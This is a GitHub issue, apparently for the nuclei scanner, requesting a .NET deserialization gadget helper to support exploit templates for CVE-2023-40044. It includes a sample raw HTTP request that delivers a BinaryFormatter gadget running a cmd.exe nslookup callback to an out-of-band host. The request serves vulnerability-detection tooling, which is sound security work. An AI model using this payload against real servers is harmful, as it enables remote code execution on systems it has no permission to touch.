Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support for .NET deserialization helpers #4204

Open
ehsandeep opened this issue Oct 1, 2023 · 1 comment
Open

Support for .NET deserialization helpers #4204

ehsandeep opened this issue Oct 1, 2023 · 1 comment
Labels
Type: Enhancement Most issues will probably ask for additions or changes.

Comments

@ehsandeep
Copy link
Member

Please describe your feature request:

Similar to generate_java_gadget, additional deserialization helpers need to be added to support writing templates for exploits, including deserialization payload for .NET formatters.

Reference: https://github.com/pwntester/ysoserial.net

Describe the use case of this feature:

Requires for CVE-2023-40044

Example:

{{generate_dotNet_gadget(gadget, format, cmd, encoding}}
http:
  - raw:
      - |
        POST /AHT/AhtApiService.asmx/AuthUser HTTP/2
        Host: {{Hostname}}
        Cookie: ASP.NET_SessionId=lilzf4yfwobb5fsaelo5abez
        Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
        -----------------------------9051914041544843365972754266
        Content-Disposition: form-data; name="";
        ::AHT_DEFAULT_UPLOAD_PARAMETER::{{generate_dotNet_gadget("TypeConfuseDelegate", "BinaryFormatter", "cmd.exe /C nslookup {{interactsh-url}}", "base64"}}
        -----------------------------9051914041544843365972754266---

Example: projectdiscovery/nuclei-templates#8296

Reference
https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044

@ehsandeep ehsandeep added the Type: Enhancement Most issues will probably ask for additions or changes. label Oct 1, 2023
@l0nedigit
Copy link

+1 commenting to follow

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Type: Enhancement Most issues will probably ask for additions or changes.
Projects
None yet
Development

No branches or pull requests

2 participants